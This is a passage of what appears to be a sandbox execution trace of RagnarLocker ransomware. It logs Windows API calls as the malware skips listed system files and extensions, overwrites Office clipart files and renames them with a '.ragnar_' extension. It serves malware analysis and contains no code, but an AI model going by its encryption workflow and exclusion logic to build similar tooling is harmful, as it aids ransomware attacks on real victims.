(lpString1="J0099158.WMF", lpString2="ntuser.dat") returned -1 [0083.106] lstrcmpiW (lpString1="J0099158.WMF", lpString2="ntuser.dat.log") returned -1 [0083.106] lstrcmpiW (lpString1="J0099158.WMF", lpString2="ntuser.ini") returned -1 [0083.106] lstrcmpiW (lpString1="J0099158.WMF", lpString2="thumbs.db") returned -1 [0083.106] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.106] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.106] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.106] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.106] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.106] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.106] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 0x20 [0083.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.106] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26160) returned 1 [0083.106] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6627, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.106] GetProcessHeap () returned 0x580000 [0083.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.106] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.108] VirtualAlloc (lpAddress=0x0, dwSize=0x6630, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.108] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.108] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.108] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6630, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6630, lpOverlapped=0x0) returned 1 [0083.109] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.110] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6630, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.110] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6630, lpOverlapped=0x0) returned 1 [0083.110] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6630, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.110] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.110] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6630, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.110] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.110] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.110] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.110] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.110] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.111] GetProcessHeap () returned 0x580000 [0083.111] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.111] CloseHandle (hObject=0xf4) returned 1 [0083.111] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" [0083.111] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.ragnar_FD7BD9FC" [0083.111] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.111] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6b9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099159.WMF", cAlternateFileName="")) returned 1 [0083.111] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.111] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099159.WMF" | out: lpString1="J0099159.WMF") returned="J0099159.WMF" [0083.111] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned=".WMF" [0083.111] lstrcmpiW (lpString1="J0099159.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.111] lstrcmpiW (lpString1="J0099159.WMF", lpString2="autorun.inf") returned 1 [0083.111] lstrcmpiW (lpString1="J0099159.WMF", lpString2="boot.ini") returned 1 [0083.111] lstrcmpiW (lpString1="J0099159.WMF", lpString2="bootfont.bin") returned 1 [0083.111] lstrcmpiW (lpString1="J0099159.WMF", lpString2="bootsect.bak") returned 1 [0083.111] lstrcmpiW (lpString1="J0099159.WMF", lpString2="bootmgr") returned 1 [0083.111] lstrcmpiW (lpString1="J0099159.WMF", lpString2="bootmgr.efi") returned 1 [0083.112] lstrcmpiW (lpString1="J0099159.WMF", lpString2="bootmgfw.efi") returned 1 [0083.112] lstrcmpiW (lpString1="J0099159.WMF", lpString2="desktop.ini") returned 1 [0083.112] lstrcmpiW (lpString1="J0099159.WMF", lpString2="iconcache.db") returned 1 [0083.112] lstrcmpiW (lpString1="J0099159.WMF", lpString2="ntldr") returned -1 [0083.112] lstrcmpiW (lpString1="J0099159.WMF", lpString2="ntuser.dat") returned -1 [0083.112] lstrcmpiW (lpString1="J0099159.WMF", lpString2="ntuser.dat.log") returned -1 [0083.112] lstrcmpiW (lpString1="J0099159.WMF", lpString2="ntuser.ini") returned -1 [0083.112] lstrcmpiW (lpString1="J0099159.WMF", lpString2="thumbs.db") returned -1 [0083.112] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.112] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.112] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.112] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.112] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.112] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.112] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 0x20 [0083.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.112] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27546) returned 1 [0083.112] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6b91, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.112] GetProcessHeap () returned 0x580000 [0083.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.112] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.114] VirtualAlloc (lpAddress=0x0, dwSize=0x6b9a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.114] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.114] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.114] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6b9a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6b9a, lpOverlapped=0x0) returned 1 [0083.115] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.115] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6b9a, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.116] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6b9a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6b9a, lpOverlapped=0x0) returned 1 [0083.116] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6b9a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.116] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.116] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6b9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.116] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.116] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.116] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.117] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.117] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.117] GetProcessHeap () returned 0x580000 [0083.117] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.117] CloseHandle (hObject=0xf4) returned 1 [0083.117] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" [0083.117] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.ragnar_FD7BD9FC" [0083.117] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.117] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099160.JPG", cAlternateFileName="")) returned 1 [0083.117] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.117] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099160.JPG" | out: lpString1="J0099160.JPG") returned="J0099160.JPG" [0083.117] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned=".JPG" [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="autorun.inf") returned 1 [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="boot.ini") returned 1 [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="bootfont.bin") returned 1 [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="bootsect.bak") returned 1 [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="bootmgr") returned 1 [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="bootmgr.efi") returned 1 [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="bootmgfw.efi") returned 1 [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="desktop.ini") returned 1 [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="iconcache.db") returned 1 [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="ntldr") returned -1 [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="ntuser.dat") returned -1 [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="ntuser.dat.log") returned -1 [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="ntuser.ini") returned -1 [0083.118] lstrcmpiW (lpString1="J0099160.JPG", lpString2="thumbs.db") returned -1 [0083.118] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.118] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.118] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.118] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.118] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.118] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.118] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 0x20 [0083.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.119] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15145) returned 1 [0083.119] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.119] GetProcessHeap () returned 0x580000 [0083.119] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.119] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.121] VirtualAlloc (lpAddress=0x0, dwSize=0x3b29, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.121] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.121] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.121] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3b29, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3b29, lpOverlapped=0x0) returned 1 [0083.122] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.122] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b29, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.122] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3b29, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3b29, lpOverlapped=0x0) returned 1 [0083.122] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b29, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.122] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.123] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.123] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.123] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.123] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.123] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.123] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.123] GetProcessHeap () returned 0x580000 [0083.123] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.123] CloseHandle (hObject=0xf4) returned 1 [0083.123] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" [0083.123] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.ragnar_FD7BD9FC" [0083.123] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.124] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1bf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099161.JPG", cAlternateFileName="")) returned 1 [0083.124] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.124] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099161.JPG" | out: lpString1="J0099161.JPG") returned="J0099161.JPG" [0083.124] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned=".JPG" [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="autorun.inf") returned 1 [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="boot.ini") returned 1 [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="bootfont.bin") returned 1 [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="bootsect.bak") returned 1 [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="bootmgr") returned 1 [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="bootmgr.efi") returned 1 [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="bootmgfw.efi") returned 1 [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="desktop.ini") returned 1 [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="iconcache.db") returned 1 [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="ntldr") returned -1 [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="ntuser.dat") returned -1 [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="ntuser.dat.log") returned -1 [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="ntuser.ini") returned -1 [0083.124] lstrcmpiW (lpString1="J0099161.JPG", lpString2="thumbs.db") returned -1 [0083.124] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.124] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.124] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.124] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.124] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.124] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.124] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 0x20 [0083.125] 